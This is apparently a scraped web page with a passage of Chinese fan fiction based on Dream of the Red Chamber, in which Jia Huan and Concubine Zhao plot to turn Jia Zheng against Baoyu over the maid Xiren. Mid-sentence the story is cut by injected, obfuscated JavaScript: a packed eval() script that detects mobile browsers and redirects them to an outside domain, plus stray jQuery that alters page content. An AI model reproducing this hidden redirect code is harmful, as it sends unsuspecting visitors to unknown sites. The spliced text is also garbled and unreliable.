宝玉心里只顾着嫌弃贾环,可其实被他自己喜新厌旧、弃之不顾的东西又有多少,他却不想着那些了。
宝玉虽是不情愿,可这会子被弟弟直问到面上来,却又不好明拒了的。
宝玉想了想,便托词那东西许久不曾动过了,不知道袭人收在哪里,等回去问着她、再找来罢。
宝玉如此说,是想先打发过这一遭儿,叫贾环别只顾在这里夹缠。等家去了,自然也不必找,直消等上几日,以贾环的脾性儿,多半就忘了,乐得大家清净。
贾环却不知道他哥哥是这样的想法,且也不大识趣,闻言以为有门,便高兴地道:“那便劳烦哥哥替我想着了。”想了一想,自觉应当再说一两句话以显得自己有礼数,不是白要人家东西的,便补了一句自以为十分俏皮的话——
“哥哥若说问嫂子,那必然是马上就能有的。哥哥那屋里少说也有千百件儿东西,都叫嫂子管着,竟是一丝儿也不错,嫂子果然是个最能干的。”
他以为这话定然是能讨好宝玉的,谁知宝玉只是淡淡的,又叫他不要往外胡说。
他更没想到父亲其实并未出去,只是在外头廊上站着,他这话隐约竟也叫他听了去。
此时听见父亲问他,贾环后背不禁冒出冷汗来,又哪里答得出,半晌才道:“我说的是……是大嫂子。”
贾政冷笑道:“若是说珠儿媳妇,大可不必那样鬼鬼祟祟起来,又是那样笑。我劝你从实说了,这一遭儿就免了你的打。”
贾环见这样容易就被父亲识破,一时发窘,只顾在心里想话推脱。
贾政看他吞吞吐吐只是含混嗫嚅着,又生起气来,喝道:“孽障,哪里学的这样蝎蝎蜇蜇的毛病,长辈问你话时,你该怎样答?你倒也能学别人、装模做样地去上学,你上的是什么学?一点规矩也没有,先生就是这样教给你的么!”
赵姨娘看贾政生气,忙柔柔地站起来,挪到贾政身边劝道:“老爷别气坏了身子,慢慢地问他也罢了。”一面又给贾环使眼色。
贾环与赵姨娘眼神一对,心里已有了主意,仍是低下头去,嘴上却利索起来,只道:“是宝哥不叫我说。”
宝玉?贾政眉头一皱,沉声道:“什么是‘不叫你说’?哼,怪道你们读书不成器,原来下了学不去温书写字,把心思都放在弄这些阴私之事上头去了。君子处世,有何不可同人明言?快些说来!”
赵姨娘心念一转,颇有深意地看了一眼贾环,跟着便软语劝慰贾政道:“环儿不懂事,老爷只管罚他、教他知道便了,凭骂、凭打都使得,只是老爷千万不要生气,您要是气坏了身子,可让我们娘儿几个怎么办呢……唉,这个环儿呀,一向里除了老爷您,就是最听他哥哥的,若真是二爷曾嘱咐了不让他说,他自然是不敢的。”
赵姨娘说完,顿了一顿,细看贾政的反应,看他似乎并不像之前一样生气,便故意向贾环道:“傻孩子,你想那二爷虽是你的哥哥,可难道还能大过你的父亲去?如今你父亲叫你说,还不赶快说出来呢,再给你父亲认个错儿,这事儿便过去了。”
别看这娘儿俩方才还像一对斗鸡似的针锋相对,这当儿祸害起外人来却有十足的默契。
贾环偷眼看着赵姨娘,一腔坏水在心中晃了晃,计策已通,只是还得添把火,便忽然向贾政跪下道:“父亲不要生气,儿子全听父亲的,便是哥哥后面怨我,我也少不得要说了。”
贾政侧过头来看着赵姨娘,见她正全情注视着贾环,一双眼睛欲说还休,脸上满是担忧之色。她如今怀着身子,想来也很是辛苦,瞧那面上几乎不施脂粉,倒像是强打精神一般,实在惹人心疼。
赵姨娘看着儿子,偶尔怯怯地又瞧一眼老爷,银牙咬着下唇,一副想要替孩子求情、却又不肯忤逆老爷的样子。
贾政将她的神色动作都看在眼里,心里也是感慨。
如此一个体贴顺服的爱妾,如今又身怀六甲,如何能叫她受此煎熬!
贾政心内一软,便沉声向贾环道:“起来说罢!”
贾环起身来,仍是将头埋得低低的,道:“前儿我说的‘嫂子’,说的是哥哥屋里的丫头‘袭人’。那丫头同宝哥……同宝哥……嗳,反正我们都只叫她嫂子便了。”
贾政听了,将手在炕桌上一拍,怒道:“什么‘嫂子’!父母媒妁皆无消息,哪里又跑出来个‘嫂子’了,这是什么话,再不许叫我听见!”
被他这样一喝,贾环吓得瑟缩了一下,但心里却是无比畅快——
他十分明白,父亲心里的这根炮仗已经点好,且等着那引信儿慢慢地烧去罢,后面他也不必再说什么了。
---
荣国府这边是贾赦居长,但他为人荒疏,好玩乐、爱女色,虽是按序袭了爵,却也并不理事,荣府这边早年间便由贾母做主,将家事一概权由次子贾政代为主理,就这样越过了长兄去。
这贾政的性子与他兄长截然不同,他幼年虽也是贪玩淘气之辈,却本□□读书,及长大后,收了从前的脾气,更是方正耿直、一味爱书,他虽是标准的封建家长模板,却并不是经世致用这一途的人,依贾政自己心里的想法,人生若能每日闲坐观云、捧卷听琴,那才不枉活了一世。
他心里是这样的想法,面上却仍旧要替家族兴衰操劳,自己的理想实现不了,便深深地藏埋心底。
正因他内心深处有这样的愿望,所以当时贾母给妹妹贾敏做主定了林家的亲事时,贾政是头一个赞同的。
这位妹婿面目清俊、一表人才,难得又饱读诗书、谈吐风雅、见解不俗,年纪轻轻便是能在殿前答对的探花郎,实在是妹妹的良配。
只可惜林家的根基在南边,且他又领了南边的差使,婚后便要携家小往南边赴任,若是妹婿能留任京中,彼此交游,那也是一件幸事。
而贾赦则又是另一种态度了。
他虽然为人荒疏,对幼妹的疼爱却丝毫不亚于母亲和弟弟。
依贾赦的想法,妹妹若是能嫁一个实力雄厚、人丁兴旺的高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245112|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门,那后半生才可保富贵安闲、康乐无虞。
那时贾母同北静王妃那样亲密,且北静王妃又多次公开表示喜欢贾敏,贾赦一度以为妹妹嫁入北静王府是十拿九稳的事,谁知最后又没成。
没成就没成罢,满京里还有大把公子哥儿可供挑选,贾母怎么偏偏挑中了林如海?
林家那根可怜见儿的独苗,一看就是书读得太多了,整个人清矍矍的,瞧着就没福。模样儿好又有什么用,也不能当饭吃。可老太太既然相中了,这便是板上钉钉的事,自己也没有办法。
后来妹妹果然早逝,贾赦心里又是疼惜妹妹、又是埋怨母亲,一切却已经无可挽回了。
仍是说回贾政。
他虽只愿捧卷读书、不愿为俗务烦心,但他思想传统、恪守孝道,既有母亲之命,又顾念家族责任,少不得也得强将家务事担负起来。
好在大事有族中兄弟叔侄们商量,小事有管家、清客、门人等在旁参谋考量、前后打点,内宅的事也总是由夫人带着琏儿媳妇管着,里外不过是关键的几件事要来请自己的示下,也多是已有筹划的,自己在最后费个点头的工夫也罢了,这还应付得来。
如今要紧的却是家族在外的名望生计。想祖父好容易挣下的爵位,父亲好歹守住了,却也只能保得一代,到了兄长这里,只袭了一个“一等将军”,如此下去,再过几代,若族中还出不得一个像样的人物,这爿家业只怕也要衰没了。
自己得蒙圣上恩典,免去科考辛苦,点了一个工部员外郎的职位,算来也有五品,不大不小,勉强也是个官身。但为官之路实在步步惊心,又要谋求政绩、又要提防陷害、又要经营友朋、又不敢被人指称结党营私。
贾政常常觉得心力交瘁。
家里家外都是事,贾政已经忙得了不得,所以也没有操心过宝玉和贾环这两个儿子的屋里是由何人伺候,总是有母亲和夫人两个把持。
更何况,他是老爷,更加不用费心去记丫头们的名字。
但是,环儿口中提到的这个“袭人”,贾政却是知道的。
从前娘娘恩准哥儿姐儿们搬入大观园的时候,贾政曾将这些孩子们叫来训诫,之后太太同宝玉说话,提到了有这样一个丫头,若是寻常叫个红花绿树的也罢了,偏偏是叫“袭人”。这样古怪刁钻,贾政恨宝玉总在此处用心,顺势就将他训诫一番,自此也将“袭人”这个名字在心里挂了个号。
一个丫头,等闲在屋里伺候,怎么又能与宝玉有这等轻狂言语流传出来?
贾政心里起疑,微一沉吟,先向贾环喝道:“孽障,出去罢!明日下学来,我要考你的书。若是不流利,仔细你的皮!”
贾环自然知道这是父亲要支开他、要同他娘单独问话,他对赵姨娘编瞎话儿方面的能力十分放心,后面自然要看娘的本事,自己杵在这也是白添乱,忙行了礼、小跑着退出去,小鹊忙替他打了帘子。
小鹊方才全程听着,此刻立在门口,想了想,自己也便退下去了。